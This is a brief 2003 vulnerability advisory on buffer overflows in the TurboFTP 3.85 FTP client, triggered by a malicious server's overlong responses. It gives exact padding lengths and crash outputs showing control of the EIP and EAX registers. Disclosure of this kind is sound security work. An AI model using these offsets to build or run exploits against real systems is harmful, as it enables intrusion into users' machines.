[NT] Buffer Overflow Vulnerabilities in TurboFTP
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Date: 07/14/03
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Buffer Overflow Vulnerabilities in TurboFTP
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SUMMARY
<http://www.turboftp.com> TurboFTP is "a secure FTP client program for
Windows 9x/ME/NT4/2000/XP. It allows you to transfer files (upload or
download) at turbo speed between your computer and virtually any FTP
server with exceptional ease". The product has been found to be vulnerable
to a buffer overflow attack from a malicious FTP server (a malicious FTP
server sending an overly long response upon at any time during the
connection).
DETAILS
Vulnerable systems:
* TurboFTP version 3.85 Build 304
Example:
(TurboFTP connected...)
220 [1061xA]
(Access violation in user32.dll)
(TurboFTP connected...)
PADDING EIP
220 [1061xA][*][2xX] // Totalling 1063 Bytes
(Access violation in turboftp.exe when executing 0x00580058)
// 2xX Unicoded
* The base pointer register cannot be altered as far as I can see, thus
the reason I have not included it.
(TurboFTP connected...)
PADDING
220 [8000xA]
(Access violation in comctl32.dll)
(TurboFTP connected...)
PADDING EAX
220 [8574xA][4xX] // Totalling 8578 Bytes
(Access violation in turboftp.exe; EAX = 0x58585858)
ADDITIONAL INFORMATION
The information has been provided by <mailto:peter4020@hotmail.com> Peter
Winter-Smith.
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